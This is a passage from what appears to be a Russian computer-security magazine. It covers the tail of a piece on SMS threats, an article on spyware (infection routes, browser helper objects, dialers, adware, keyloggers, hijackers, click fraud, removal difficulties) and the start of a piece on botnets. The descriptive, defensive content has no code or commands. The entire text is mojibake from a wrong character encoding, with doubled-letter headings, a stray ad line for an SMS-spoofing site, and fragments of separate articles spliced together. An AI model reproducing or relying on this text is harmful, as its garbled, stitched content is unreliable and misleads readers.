òàê êàê â ýòîì ñëó÷àå ïðèõîäèòñÿ ïëàòèòü çà êàæ-
äîå îòïðàâëåííîå ñîîáùåíèå èç ñâîåãî êàðìàíà.
Äðóãîå äåëî — èñïîëüçîâàíèå óêðàäåííîãî èëè
êëîíèðîâàííîãî òåëåôîíà. È õîòÿ ýòîò âàðèàíò íå
òàêîé ìàññîâûé, êàê ïåðâûå äâà, îí òîæå î÷åíü
îïàñåí, òàê êàê âñå çàòðàòû íà åãî ðåàëèçàöèþ
òÿæêèì ãðóçîì ëîæàòñÿ íà ïëå÷è âëàäåëüöà óêðà-
äåííîãî èëè ôàëüñèôèöèðîâàííîãî àïïàðàòà. Ê
ñîæàëåíèþ, ìåòîäîâ çàùèòû îò ýòîé íàïàñòè
íåìíîãî, è ëó÷øèé èç íèõ — áäèòåëüíîñòü.

Ìû áåççàùèòíû ïåðåä SMS-óãðîçîé — ìû
íå ìîæåì îòêàçàòüñÿ îò ïðèåìà SMS-ñîîáùåíèé,
òàê êàê íàøè àïïàðàòû íå èìåþò òàêîé âîçìîæíî-
ñòè. Íàì ïðèõîäèòñÿ óïîâàòü íà òî, ÷òî ðàçðàáîò-
÷èêè ìîáèëüíûõ ïðèëîæåíèé è ïëàòôîðì ñòàíóò
áîëåå âíèìàòåëüíûìè ïðè ñîçäàíèè ñâîèõ òâîðå-
íèé è íå áóäóò íàñòóïàòü íà òå «ãðàáëè», íà êîòî-
ðûå ðàçðàáîò÷èêè IP-ïðèëîæåíèé íàñòóïàþò óæå
ìíîãî ëåò (è íàðàáîòàëè îïðåäåëåííûé îïûò
áîðüáû ñ IP-óãðîçàìè). Íî, êàê ãîâîðèò ðóññêàÿ ïî-
ñëîâèöà, «íà áîãà íàäåéñÿ, íî è ñàì íå ïëîøàé».
Ïîëüçîâàòåëÿì ìîáèëüíûõ òåëåôîíîâ ñòîèò áûòü
áîëåå áäèòåëüíûìè è íå ñïåøèòü íàæèìàòü êíîï-
êó «Yes» íà âîïðîñ ìîáèëüíîãî òåëåôîíà «Ïðèø-
ëî SMS-ñîîáùåíèå. Ïðî÷èòàòü?»

wwwwww..ssmmssssppooooffiinngg..ccoomm
ðàññûëêà sms ñïàìà ïî 170 ñòðàíàì
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Spyware îòëè÷àåòñÿ îò âèðóñîâ è ÷åðâåé îòñóò-
ñòâèåì ìåõàíèçìà ñàìîðàçìíîæåíèÿ. Ñîãëàñíî
Webroot, 9 èç 10 êîìïüþòåðîâ, ïîäêëþ÷åííûõ ê èí-
òåðíåòó, èíôèöèðîâàíû, è 86% ïîëüçîâàòåëåé ïî-
íåñëè îïðåäåëåííûé ôèíàíñîâûé óùåðá îò ðàáî-
òû øïèîíñêîãî ÏÎ. À ïî äàííûì Gartner, îò 20% äî
40% îáðàùåíèé â ñëóæáó ïîääåðæêè (ñîáñòâåííóþ
èëè îïåðàòîðà ñâÿçè) ñâÿçàíî èìåííî ñ ïðîáëåìîé
ïîëó÷åíèÿ spyware. Õîòÿ ÷àñòî ïîëüçîâàòåëè äàæå
íå çàäóìûâàþòñÿ î spyware, ïåðåêëàäûâàÿ «îòâåò-
ñòâåííîñòü» çà ïðîáëåìû ñ êîìïüþòåðîì íà Micro-
soft, ìåäëåííîå æåëåçî è ò.ä. Øïèîíñêîå ÏÎ ÿâëÿ-
åòñÿ ðåàëüíîé ïðîáëåìîé äëÿ ñîâðåìåííîãî ÈÒ-
ìèðà. Êñòàòè, èíîãäà «øïèîíñêèå» òåõíîëîãèè èñ-

ïîëüçóþòñÿ äëÿ ïðîâåðêè ñîáëþäåíèÿ àâòîðñêèõ
ïðàâ è èíòåëëåêòóàëüíîé ñîáñòâåííîñòè, êàê, íà-
ïðèìåð, â Sony Extented Copy Protection.

êàê îîíè ïïîïàäàþò ííà òòâîé êêîìïüþòåð
1 ÑÀÌÛÉ ÏÐÎÑÒÎÉ ÑÏÎÑÎÁ ÓÑÒÀÍÎ-
ÂÈÒÜ SPYWARE ÍÀ ÊÎÌÏÜÞÒÅÐ — ÏÎ-
ÏÐÎÑÈÒÜ ÑÄÅËÀÒÜ ÝÒÎ ÑÀÌÎÃÎ ÏÎËÜ-
ÇÎÂÀÒÅËß. ×ÒÎ ÕÀÐÀÊÒÅÐÍÎ, ÏÎËÜÇÎ-
ÂÀÒÅËÈ ×ÀÑÒÎ ÝÒÎ ÄÅËÀÞÒ, ÍÅ ÇÀÄÓ-

ÂÑß ÏÐÀÂÄÀ Î SPYWARE
SPYWARE — ÝÒÎ ÍÀÇÂÀÍÈÅ ÖÅËÎÃÎ ÊËÀÑÑÀ ÏÐÎÃÐÀÌÌ, ÊÎÒÎÐÛÅ ÏÐÅÄÍÀÇÍÀ×ÅÍÛ 
ÄËß ÑÊÐÛÒÎÉ ÐÀÁÎÒÛ ÍÀ ÊÎÌÏÜÞÒÅÐÅ ÏÎËÜÇÎÂÀÒÅËÅÉ È ÂÛÏÎËÍÅÍÈß ÐßÄÀ ÇÀÄÀ×, 
ÒÀÊÈÕ ÊÀÊ ÑÁÎÐ ÈÍÔÎÐÌÀÖÈÈ Î ÏÎÑÅÙÀÅÌÛÕ ÑÀÉÒÀÕ È ÄÅÉÑÒÂÈßÕ ÏÎËÜÇÎÂÀÒÅËß 
ÍÀ ÍÈÕ, ÍÎÌÅÐÎÂ ÊÐÅÄÈÒÍÛÕ ÊÀÐÒ, ÏÀÐÎËÅÉ È ÄÐÓÃÎÉ ËÈ×ÍÎÉ ÈÍÔÎÐÌÀÖÈÈ

Àëåêñåé Ëóêàöêèé 
alukatsk@cisco.com

øøïïèèîîííññêêèèåå èèããððûû
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ÌÛÂÀßÑÜ Î ÏÎÑËÅÄÑÒÂÈßÕ. ÆÅËÀß
ÏÎËÓ×ÈÒÜ «ÓÑÊÎÐÈÒÅËÜ ÈÍÒÅÐÍÅÒÀ»
ÈËÈ ÑÐÅÄÑÒÂÎ ÇÀÙÈÒÛ 
ÎÒ ÂÐÅÄÎÍÎÑÍÛÕ ÏÐÎÃÐÀÌÌ, 
ÏÎËÜÇÎÂÀÒÅËÜ ÍÀ ÂÎÏÐÎÑ 
«ÓÑÒÀÍÎÂÈÒÜ?» ÎÒÂÅ×ÀÅÒ «ÄÀ» 
È ÑÎÁÑÒÂÅÍÍÎÐÓ×ÍÎ ÇÀÍÎÑÈÒ 
ÍÀ ÊÎÌÏÜÞÒÅÐ ÇÀÐÀÇÓ. ÒÎËÜÊÎ 
ÁÄÈÒÅËÜÍÎÑÒÜ ÏÎÌÎÆÅÒ 
ÏÐÅÄÎÒÂÐÀÒÈÒÜ ÒÀÊÎÉ ÊÀÍÀË 
ÐÀÑÏÐÎÑÒÐÀÍÅÍÈß ÏÐÎÃÐÀÌÌÍÛÕ
ØÏÈÎÍÎÂ.

2 ÈÍÒÅÃÐÀÖÈß SPYWARE 
Ñ ÊÀÊÎÉ-ËÈÁÎ ÏÎËÅÇÍÎÉ È ÍÓÆÍÎÉ
ÏÐÎÃÐÀÌÌÎÉ. ÏÐÀÊÒÈ×ÅÑÊÈ ËÞÁÀß
FREEWARE ÈËÈ SHAREWARE ÑÎÄÅÐÆÈÒ
ÂÍÅÄÐÅÍÍÛÉ Â ÍÅÅ ÊÎÄ, ÊÎÒÎÐÛÉ 
ÌÎÆÅÒ ÏÎÊÀÇÛÂÀÒÜ ÐÅÊËÀÌÓ ÈËÈ
ÒÀÉÍÎ ÑÎÁÈÐÀÒÜ ÈÍÔÎÐÌÀÖÈÞ 
Î ÏÎÂÅÄÅÍÈÈ ÏÎËÜÇÎÂÀÒÅËß, 
ÊÎÒÎÐÀß ÇÀÒÅÌ ÎÒÏÐÀÂËßÅÒÑß 
ÐÅÊËÀÌÍÛÌ ÀÃÅÍÒÑÒÂÀÌ ÈËÈ
ÀÂÒÎÐÀÌ SPYWARE. ÏÐÈÌÅÐÛ
ÏÐÎÃÐÀÌÌ, ÄÎÏÎËÍÅÍÛÕ ØÏÈÎÍÀÌÈ:
DIVX, FLASHGET, EDONKEY 2000, ICQ 
È Ò.Ï. ÈÍÒÅÃÐÀÖÈß ØÏÈÎÍÑÊÎÃÎ 
ÏÎ Ñ ÎÁÛ×ÍÎÉ ÏÐÎÃÐÀÌÌÎÉ ÌÎÆÅÒ
ÏÐÎÈÑÕÎÄÈÒÜ ÍÅÑÊÎËÜÊÈÌÈ
ÑÏÎÑÎÁÀÌÈ. ÏÅÐÂÛÉ, ÍÅ ÑÀÌÛÉ
ÐÀÑÏÐÎÑÒÐÀÍÅÍÍÛÉ, — SPYWARE 
È ÏÎËÅÇÍÀß ÏÐÎÃÐÀÌÌÀ
ÈÍÒÅÃÐÈÐÓÞÒÑß ÍÀ ÓÐÎÂÍÅ ÊÎÄÀ. 
Â ÝÒÎÌ ÑËÓ×ÀÅ ÓÄÀËÈÒÜ «ØÏÈÎÍÀ» 
ÍÅ ÏÐÅÄÑÒÀÂËßÅÒÑß ÂÎÇÌÎÆÍÛÌ 
È ÌÎÆÍÎ ÒÎËÜÊÎ ÏÛÒÀÒÜÑß
ÎÃÐÀÍÈ×ÈÒÜ ÅÃÎ ÔÓÍÊÖÈÎÍÀËÜÍÎÑÒÜ
ÏÓÒÅÌ ÁËÎÊÈÐÎÂÀÍÈß ÎÒÑÛËÊÈ
ÑÎÁÐÀÍÍÎÉ ÈÍÔÎÐÌÀÖÈÈ, ÇÀÏÓÑÊÀ
POPUP'ÎÂ È Ò.Ä. ÂÒÎÐÎÉ ÂÀÐÈÀÍÒ
ÈÍÒÅÃÐÀÖÈÈ — ÀÂÒÎÐÛ SPYWARE
ÏËÀÒßÒ ÐÀÇÐÀÁÎÒ×ÈÊÀÌ ÏÎËÅÇÍÛÕ
ÏÐÎÃÐÀÌÌ ÇÀ ÂÑÒÐÀÈÂÀÍÈÅ ÑÂÎÅÃÎ 
ÂÐÅÄÎÍÎÑÍÎÃÎ ÊÎÄÀ ÂÍÓÒÐÜ 
ÏÐÎÃÐÀÌÌÛ. ÏÐÈ ÑÎÇÄÀÍÈÈ
ÈÍÑÒÀËËßÒÎÐÀ ÏÐÎÈÑÕÎÄÈÒ
ÎÁÚÅÄÈÍÅÍÈÅ ÄÂÓÕ ÏÐÎÃÐÀÌÌÍÛÕ
ÏÀÊÅÒÎÂ, È ÏÎËÜÇÎÂÀÒÅËÜ Â ÈÒÎÃÅ
ÏÎËÓ×ÀÅÒ ÃÎÒÎÂÓÞ Ê ÓÏÎÒÐÅÁËÅÍÈÞ
ÏÎËÅÇÍÓÞ ÏÐÎÃÐÀÌÌÓ, Â ÊÎÒÎÐÎÉ
ÏÐÈÒÀÈËÑß ØÏÈÎÍÑÊÈÉ ÔÓÍÊÖÈÎÍÀË.
ÒÐÅÒÈÉ ÂÀÐÈÀÍÒ — ÈÍÒÅÃÐÀÖÈÞ ÍÀ
ÑÅÁß ÁÅÐÅÒ ÀÂÒÎÐ SPYWARE, ÊÎÒÎÐÛÉ
ÂÛÊÀ×ÈÂÀÅÒ ÈÇ ÈÍÒÅÐÍÅÒÀ ÊÀÊÎÅ-
ËÈÁÎ SHAREWARE/FREEWARE È ÑÀÌ
ÑÎÇÄÀÅÒ ÈÍÑÒÀËËßÒÎÐ, ÂÊËÞ×ÀÞÙÈÉ
ÑÎÁÑÒÂÅÍÍÎÅ ØÏÈÎÍÑÊÎÅ ÏÎ.

3 ÍÅÑÀÍÊÖÈÎÍÈÐÎÂÀÍÍÎÅ ÈÇÌÅÍÅÍÈÅ
ÍÀÑÒÐÎÅÊ WEB-ÁÐÀÓÇÅÐÀ, ÊÎÒÎÐÛÅ
ÏÎÇÂÎËßÞÒ ÓÑÒÀÍÎÂÈÒÜ ØÏÈÎÍÀ 
ÍÀ ÊÎÌÏÜÞÒÅÐ ÏÎËÜÇÎÂÀÒÅËß

ÍÅÇÀÌÅÒÍÎ ÄËß ÅÃÎ ÂËÀÄÅËÜÖÀ. 
Â ÁÎËÜØÈÍÑÒÂÅ ÑËÓ×ÀÅÂ ÝÒÎ
ÄÅÉÑÒÂÓÅÒ ×ÅÐÅÇ INTERNET EXPLORER,
ÊÀÊ ÍÀÈÁÎËÅÅ ×ÀÑÒÎ ÈÑÏÎËÜÇÓÅÌÛÉ
È ÑÀÌÛÉ ÒÅÑÍÎ ÈÍÒÅÃÐÈÐÓÅÌÛÉ 
Ñ ÎÏÅÐÀÖÈÎÍÍÎÉ ÑÈÑÒÅÌÎÉ WINDOWS
ÁÐÀÓÇÅÐ. ÄÀÍÍÛÉ ÂÀÐÈÀÍÒ
ÐÅÀËÈÇÓÅÒÑß ËÈÁÎ ÇÀ Ñ×ÅÒ
ÈÑÏÎËÜÇÎÂÀÍÈß ÄÛÐ Â ÁÐÀÓÇÅÐÅ,
ËÈÁÎ ÇÀ Ñ×ÅÒ ÓÑÒÀÍÎÂËÅÍÍÛÕ 
ÏÎ ÓÌÎË×ÀÍÈÞ ÍÀÑÒÐÎÅÊ.

4 ÌÀÑÊÈÐÎÂÊÀ ÏÎÄ ÎÁÍÎÂËßÅÌÎÅ
×ÅÐÅÇ ÈÍÒÅÐÍÅÒ ÏÎ. ÍÀÏÐÈÌÅÐ,
SPYWARE ÌÎÆÅÒ ÌÀÑÊÈÐÎÂÀÒÜÑß 

ÏÎÄ ÄÈÀËÎÃÎÂÎÅ ÎÊÍÎ Ñ ÇÀÏÐÎÑÎÌ
«ÂÛ ÕÎÒÈÒÅ ÎÏÒÈÌÈÇÈÐÎÂÀÒÜ ÂÀØÅ
ÑÎÅÄÈÍÅÍÈÅ Ñ ÈÍÒÅÐÍÅÒÎÌ?» ÈËÈ
«ÂÛ ÕÎÒÈÒÅ ÎÁÍÎÂÈÒÜ ÂÀØ
ÁÐÀÓÇÅÐ?». ÍÅÇÀÂÈÑÈÌÎ ÎÒ ÒÂÎÅÃÎ
ÎÒÂÅÒÀ («ÄÀ» ÈËÈ «ÍÅÒ») ØÏÈÎÍ ÂÑÅ-
ÒÀÊÈ ÁÓÄÅÒ ÓÑÒÀÍÎÂËÅÍ. ÄÀÍÍÛÉ
ÂÀÐÈÀÍÒ ×ÀÑÒÎ ÈÑÏÎËÜÇÓÅÒ ÒÀÊÎÉ
ÌÅÕÀÍÈÇÌ, ÊÀÊ BROWSER HELPER
OBJECTS (BHO). ÝÒÎ DLL-ÌÎÄÓËÜ,
ÐÀÇÐÀÁÎÒÀÍÍÛÉ ÅÙÅ Â 1997 ÃÎÄÓ 
ÊÀÊ ÏËÀÃÈÍ Ê INTERNET EXPLORER 
È ÏÎÇÂÎËßÞÙÈÉ ÐÀÑØÈÐßÒÜ ÅÃÎ
ÔÓÍÊÖÈÎÍÀËÜÍÎÑÒÜ. 
Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ BHO
ÔÓÍÊÖÈÎÍÈÐÓÞÒ ÏËÀÃÈÍÛ,
ÏÎÇÂÎËßÞÙÈÅ ×ÈÒÀÒÜ PDF'Û, 
ÍÅ ÇÀÃÐÓÆÀß ACROBAT READER,
ÈÑÊÀÒÜ Â ÑÅÒÈ Ñ ÏÎÌÎÙÜÞ
YANDEX.TOOLBAR ÈËÈ GOOGLE.
DESKTOP È Ò.Ä. ÝÒÎÒ ÌÅÕÀÍÈÇÌ ×ÀÑÒÎ
ÈÑÏÎËÜÇÓÅÒÑß È ÄËß
ÍÅÑÀÍÊÖÈÎÍÈÐÎÂÀÍÍÎÃÎ ÄÎÑÒÓÏÀ 
Ê ÊÎÌÏÜÞÒÅÐÓ. ÍÀÏÐÈÌÅÐ, 
Ñ ÏÎÌÎÙÜÞ ÂÐÅÄÎÍÎÑÍÎÃÎ 
ÏÎ DOWNLOAD.JECT ÇËÎÓÌÛØËÅÍÍÈÊ
ÌÎÆÅÒ ÎÒÑËÅÆÈÂÀÒÜ ÄÎÑÒÓÏ 
Ê ÇÀÙÈÙÅÍÍÛÌ ÏÎ HTTPS ÑÀÉÒÀÌ,
ÏÅÐÅÕÂÀÒÛÂÀÒÜ ÂÂÎÄ Ñ ÊËÀÂÈÀÒÓÐÛ
(ÏÀÐÎËÈ ÈËÈ ÍÎÌÅÐ ÊÐÅÄÈÒÍÎÉ
ÊÀÐÒÛ) È ÏÅÐÅÑÛËÀÒÜ ÍÀ
ÎÏÐÅÄÅËÅÍÍÛÉ ÀÄÐÅÑ ÂÑÞ
ÑÎÁÐÀÍÍÓÞ ÈÍÔÎÐÌÀÖÈÞ. ÄÐÓÃÈÅ
«ØÏÈÎÍÛ» ÒÀÊÆÅ ÈÑÏÎËÜÇÓÞÒ
BROWSER HELPER OBJECTS ÄËß ÑÂÎÈÕ
«×ÅÐÍÛÕ» ÄÅË.

÷òî îîíè ääåëàþò. Ñïåêòð âîçìîæíûõ äåéñòâèé
íà êîìïüþòåðå æåðòâû î÷åíü øèðîê è îãðàíè÷åí
òîëüêî ôàíòàçèåé àâòîðà. Íàïðèìåð, òàêîé êëàññ
spyware êàê Dialer èçìåíÿåò íàñòðîéêè DUN (Dial-
Up Networking) íà íîìåð, êîòîðûé íå èñïîëüçóåòñÿ
ïîëüçîâàòåëåì äëÿ âûõîäà â èíòåðíåò, è íà êîòî-
ðûé ïîëüçîâàòåëü íèêîãäà áû íå ðàçðåøèë çâîíêè
ïî ïðè÷èíå èõ äîðîãîâèçíû. Òîëüêî ïðåäñòàâü, ÷òî
êîãäà òû ñïèøü, òâîé êîìïüþòåð íà÷èíàåò çâîíèòü

ïî ïëàòíîìó íîìåðó íà Êàðèáàõ â ñëóæáó «ñåêñà
ïî òåëåôîíó». Åñëè òàêîé Dialer óäà÷íî âíåäðÿåò-
ñÿ íà êîìïüþòåð, òî ïîëüçîâàòåëü íà÷èíàåò ïîëó-
÷àòü ñ÷åòà íà áàñíîñëîâíûå ñóììû.

Äðóãîé ïðèìåð — îòñëåæèâàíèå web-ñàéòîâ,
ïîñåùàåìûõ ïîëüçîâàòåëåì. Ñîáðàííàÿ èíôîð-
ìàöèÿ àêêóìóëèðóåòñÿ è îòñûëàåòñÿ ëèáî àâòîðó
øïèîíñêîãî ÏÎ, ëèáî îïðåäåëåííûì ðåêëàìíûì
àãåíòñòâàì, êîòîðûå çàòåì èñïîëüçóþò ïîëó÷åí-
íûå ñâåäåíèÿ äëÿ ñôîêóñèðîâàííîé ðåêëàìû.

Ðÿä ïðîãðàìì (òàê íàçûâàåìûå adware) ñà-
ìè ïîêàçûâàþò ïîëüçîâàòåëþ âñïëûâàþùèå ðå-
êëàìíûå ñîîáùåíèÿ èëè ïåðåíàïðàâëÿþò åãî íà
ñàéòû (çà÷àñòóþ íåçàâèñèìî îò òîãî, ÷òî ïîëüçî-
âàòåëü ââåë â ñòðîêå URL), ïðèçâàííûå çàñòàâèòü
îáûâàòåëÿ ñäåëàòü ïîêóïêó. Åñëè â êà÷åñòâå òàêî-
ãî ñàéòà âûñòóïàåò ïîðíîãðàôè÷åñêèé ðåñóðñ, òî
òàêîå ÏÎ íîñèò íàçâàíèå pornware. Annoyware —
ýòî îòäåëüíûé òèï adware, êîòîðûé ïîêàçûâàåò
ïîëüçîâàòåëþ îãðîìíîå êîëè÷åñòâî âñïëûâàþ-
ùèõ îêîí äàæå âíå Ñåòè. Íàèáîëåå «ïðîäâèíó-
òûå» ðåêëàìíûå øïèîíû óìåþò ïîäìåíÿòü îáû÷-
íóþ ðåêëàìó íà èíòåðíåò-ðåñóðñàõ. È åñëè äî
óñòàíîâêè òàêîãî adware òû áû óâèäåë ðåêëàìó ãî-
ðÿùèõ ïóòåâîê â Òóðöèþ, òî óæå ïîñëå åãî èíñòàë-
ëÿöèè ðåêëàìà çàìåíÿåòñÿ íà ïîðíîáàííåðû èëè,
íàïðèìåð, ïðèçûâ êóïèòü æåñòêèé äèñê áîëüøîãî
ðàçìåðà. Ïîñëåäíåå íå ÿâëÿåòñÿ øóòêîé, åñëè äî
ýòîãî ïîëüçîâàòåëü ïîñåùàë ñàéòû, ïðîäàþùèå
æåñòêèå äèñêè.

×àñòî ñ÷èòàåòñÿ, ÷òî adware ÿâëÿåòñÿ áåçî-
áèäíûì è íå íàíîñèò óùåðáà ïîëüçîâàòåëþ. Îäíà-
êî ýòî íå òàê. Ïîìèìî ÷èñòî ýìîöèîíàëüíîé ðàç-
äðàæèòåëüíîñòè îò íåíóæíîé ðåêëàìû, adware ìî-
æåò «çàáèòü» ïîëîñó ïðîïóñêàíèÿ (÷òî îñîáåííî àê-
òóàëüíî ïðè íèçêîñêîðîñòíîì âûõîäå â èíòåðíåò)
èëè ïîêàçûâàòü âñïëûâàþùèå îêíà ñ òàêîé ÷àñòî-
òîé, ÷òî ïîëüçîâàòåëü íå óñïååò èõ çàêðûâàòü —
â ðåçóëüòàòå êîìïüþòåð ïðèäåòñÿ ïåðåãðóæàòü èëè
«óáèâàòü» ïðîöåññ Internet Explorer.

Øïèîíñêîå ÏÎ (íàïðèìåð, CoolWebSearch
èëè óæå óïîìÿíóòûé Download.ject) ìîæåò íå òîëü-
êî ñîáèðàòü èíôîðìàöèþ î ïîëüçîâàòåëå èëè ïî-
êàçûâàòü åìó ðåêëàìó, íî è âîðîâàòü êîíôèäåí-
öèàëüíûå äàííûå — íîìåðà êðåäèòíûõ êàðò, PIN-
êîäû, ïàðîëè è ò.ä. Îòäåëüíûì êëàññîì ñ÷èòàþòñÿ
keylogger èëè «ïåðåõâàò÷èêè êëàâèàòóðû», êîòî-
ðûå çàïèñûâàþò âñå íàæàòèÿ êëàâèø è ïåðåäàþò
èõ âëàäåëüöó øïèîíà. Ïîìèìî ñîâåðøåííî áåñïî-
ëåçíûõ äàííûõ (íàïðèìåð, íàïèñàíèå ðåôåðàòà î
áåçðàáîòèöå âî âðåìåíà Âåëèêîé Äåïðåññèè â
ÑØÀ â ïðåäâîåííûå ãîäû) òàêèå ïåðåõâàò÷èêè
ìîãóò çàïèñûâàòü ïàðîëè, íîìåðà êðåäèòíûõ êàðò,
PIN-êîäû, íîìåðà ñ÷åòîâ è äðóãóþ êîíôèäåí-
öèàëüíóþ èíôîðìàöèþ.

ÏÎ, íîñÿùåå íàçâàíèå «Hijacker», çàíèìàåò-
ñÿ òåì, ÷òî ïåðåõâàòûâàåò çàïðîñû ê äîìàøíåé
ñòðàíèöå ïîëüçîâàòåëÿ (home page), ê «èçáðàííî-
ìó», àäðåñàì â ôàéëå HOSTS, «íà ëåòó» ïåðåïè-
ñûâàþò ðåçóëüòàòû ðàáîòû ïîèñêîâèêîâ è âûïîë-
íÿþò äðóãèå àíàëîãè÷íûå äåéñòâèÿ. Íàïðèìåð, In-
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ternet Optimizer (îí æå DyFuCa) ïåðåàäðåñóåò îá-
ðàùåíèå ê ñòðàíèöå îá îøèáêå íà îïðåäåëåííûå
ðåêëàìíûå ñàéòû.

Äîñòàòî÷íî èíòåðåñåí êëàññ øïèîíîâ, íà-
çûâàåìûõ stealware (èëè click fraud, affiliate fraud).
Ýòè ñèñòåìû ïåðåõâàòûâàþò «êëèêè» ïîëüçîâà-
òåëÿ è ïåðåàäðåñóþò èõ àâòîðó spyware (íàïðè-
ìåð, 180 Solutions). Â ðåçóëüòàòå çà «êëèê» äåíü-
ãè ïîëó÷àåò èìåííî îí, à íå ðåêëàìèðóåìàÿ íà
êëèêíóòîì áàííåðå ïðîäóêöèÿ. È, êîíå÷íî æå,
ìíîãèå spyware (òîò æå CoolWebSearch èëè Hunt-
Bar) èñïîëüçóþò ñðàçó íåñêîëüêî òåõíèê — ïåðå-
íàïðàâëåíèå òðàôèêà, ïîêàç ðåêëàìû, ïåðåõâàò
«êëèêîâ» è ò.ä.

îñîáåííîñòè îîáèòàíèÿ èè ððàçìíîæåíèÿ. Íå-
âåðíî äóìàòü, ÷òî íà êîìïüþòåðå ñóùåñòâóåò òîëü-
êî îäèí âèä spyware. Â îòëè÷èå îò âèðóñîâ øïèîí-
ñêîå ÏÎ ìîæåò ïðèñóòñòâîâàòü íà êîìïüþòåðå â
äåñÿòêàõ è ñîòíÿõ ñâîèõ ðàçíîâèäíîñòåé. Êàê-òî
íà ðàáîòå çàïóñòèëè àíòèøïèîíñêèé ñîôò è îá-
íàðóæèëè íà ñâîåì êîìïüþòåðå ñâûøå ñîòíè
ðàçëè÷íûõ spyWware. È ýòî ïðèòîì, ÷òî áûëè
óñòàíîâëåíû àíòèâèðóñ è ïåðñîíàëüíàÿ ñèñòåìà
ïðåäîòâðàùåíèÿ àòàê (RealSecure Desktop). Ïîý-

òîìó ÷àñòî spyware êîíêóðèðóþò ìåæäó ñîáîé
«çà ìåñòî ïîä ñîëíöåì» è ìåøàþò äðóã äðóãó
(åñòü ïðèìåðû, êîãäà îäíè øïèîíû îòêëþ÷àëè
äðóãèõ). Ýòî ñïîñîáñòâóåò òîìó, ÷òî ïîëüçîâà-
òåëü, îáíàðóæèâ êàêóþ-òî íåñòàáèëüíîñòü â ðà-
áîòå ñâîåãî êîìïüþòåðà (âûñîêàÿ çàãðóçêà ïðî-
öåññîðà, ïîñòîðîííèå ôàéëû, «ëåâûé» òðàôèê),
çàäóìûâàåòñÿ î ñâîåì âåðîÿòíîì èíôèöèðîâà-
íèè è íà÷èíàåò öåëåíàïðàâëåííî èñêàòü è óíè÷-
òîæàòü óñòàíîâëåííûõ øïèîíîâ.

Íî äàëåêî íå âñå èç íèõ ìîæíî óäàëèòü áåç
íàðóøåíèÿ ðàáîòîñïîñîáíîñòè êîìïüþòåðà. Åñëè
spyware âíåäðåí â êîä ïðîãðàììû (à íå ïðîñòî èí-
òåãðèðîâàí ÷åðåç èíñòàëëÿòîð), òî çà÷àñòóþ óäà-
ëèòü åãî íåâîçìîæíî — ïðèõîäèòñÿ ïîëíîñòüþ ïå-
ðåóñòàíàâëèâàòü ñîôò (à èíîãäà è ïðèîáðåòàòü
«÷èñòûé» îò øïèîíîâ âàðèàíò). Òîò æå Targetsoft
òàê ìåíÿåò Winsock (inetadpt.dll), ÷òî åãî óäàëåíèå
ïðèâîäèò ê íåâîçìîæíîñòè èñïîëüçîâàòü ñåòåâûå
âîçìîæíîñòè. Â õóäøåì ñëó÷àå ïîëüçîâàòåëü âû-
íóæäåí ìåíÿòü äàæå ÎÑ, ÷òîáû áûòü óâåðåííûì,
÷òî êîìïüþòåð ëèøåí âñÿêîé çàðàçû. Äðóãîé íå-
ïðèÿòíîé îñîáåííîñòüþ îòäåëüíûõ spyware ÿâëÿ-
åòñÿ èõ ñïîñîáíîñòü íàðóøàòü ðàáîòîñïîñîáíîñòü

ïåðñîíàëüíûõ ìåæñåòåâûõ ýêðàíîâ è àíòèâèðóñîâ.
Çà÷àñòóþ øïèîíñêîå ÏÎ èíòåãðèðóþòñÿ ñ ÷åðâÿ-
ìè, è ïåðåíîñèòñÿ îò êîìïüþòåðà ê êîìïüþòåðó ñ
èõ ïîìîùüþ. Íàïðèìåð, W32.Spybot èíñòàëëèðóåò
«æåðòâå» ïîðíîãðàôè÷åñêèé spyware.

çàêëþ÷åíèå. Òåìà øïèîíñêîãî ÏÎ (spyware)
îáøèðíà, è åé ïîñâÿùåíû öåëûå ñàéòû è êíèãè.
Íåêîòîðûå óíèâåðñèòåòû (íàïðèìåð, Óíèâåðñè-
òåò Êàëãàðè) äàæå ââåëè â ñâîþ ïðîãðàììó îáó÷å-
íèÿ êóðñû ïî ïðîãðàììèðîâàíèþ spyware è ìåòî-
äàì ðàñïðîñòðàíåíèÿ ñïàìà. È ýòî íå ñëó÷àéíî.
Ýêñïåðòû ïî áåçîïàñíîñòè äîëæíû çíàòü, êàê áî-
ðîòüñÿ ñ ýòîé óãðîçîé, êîòîðàÿ íå òîëüêî íå ñòèõà-
åò, íî è áóäåò íàðàñòàòü äåíü îòî äíÿ. Âåäü ïî ñòà-
òèñòèêå ñâûøå 70% «ïèñàòåëåé» ïèøóò ñâîè òâî-
ðåíèÿ ïî êîíòðàêòó, ïðåñëåäóÿ âïîëíå êîììåð÷å-
ñêèå öåëè. À çíà÷èò, íè î êàêîì àëüòðóèçìå è èñ-
ñëåäîâàòåëüñêèõ öåëÿõ è ðå÷è áûòü íå ìîæåò. Ïî-
êà ñîçäàòåëè spyware ïèøóò ñâîè òâîðåíèÿ «çà
ìåòàëë», ñèòóàöèÿ êàðäèíàëüíûì îáðàçîì íå èç-
ìåíèòñÿ

hhttttpp::////mmssddnn..mmiiccrroossoofftt..ccoomm//lliibbrraarryy//ddeeffaauulltt..aasspp??uurrll==
//lliibbrraarryy//eenn-uuss//ddnnwweebbggeenn//hhttmmll//bbhhoo..aasspp
ïîäðîáíîå îïèñàíèå ðàáîòû òåõíîëîãèè BHO



Ðàñïðîñòðàíåíî ìíåíèå, ÷òî, ïî êðàéíåé ìåðå,
êàæäûé âòîðîé äîìàøíèé êîìïüþòåð, ïîäêëþ÷åí-
íûé ê èíòåðíåòó, ñîñòîèò ñåãîäíÿ â êàêîé-ëèáî áîò-
ñåòè. Ýòî íå îçíà÷àåò, ÷òî áîò-ñåòü îáÿçàòåëüíî
äåéñòâóþùàÿ: ìíîãèå ñåòè ìîãóò íàõîäèòüñÿ 
â «æäóùåì ðåæèìå». Íî ôàêò îñòàåòñÿ ôàêòîì —
ìàøèíà çàðàæåíà è ïîäîáíî «ñïÿùåìó âóëêàíó»
òàèò â ñåáå ïîòåíöèàëüíóþ óãðîçó êàê äëÿ ñâîåãî
âëàäåëüöà, òàê è äëÿ äðóãèõ ìàøèí â cåòè. Îäíàêî
íå òîëüêî äîìàøíèå ïîëüçîâàòåëè ïðèíÿëè íà ñå-
áÿ óäàð: ïîðÿäêà 40% áîò-ñåòåé ïðèíàäëåæèò êîð-
ïîðàòèâíûì ñåòÿì áîëüøèõ è ñðåäíèõ êîìïàíèé. 
Â ñïèñêå ïîñòðàäàâøèõ óæå íàõîäÿòñÿ òàêèå êðó-
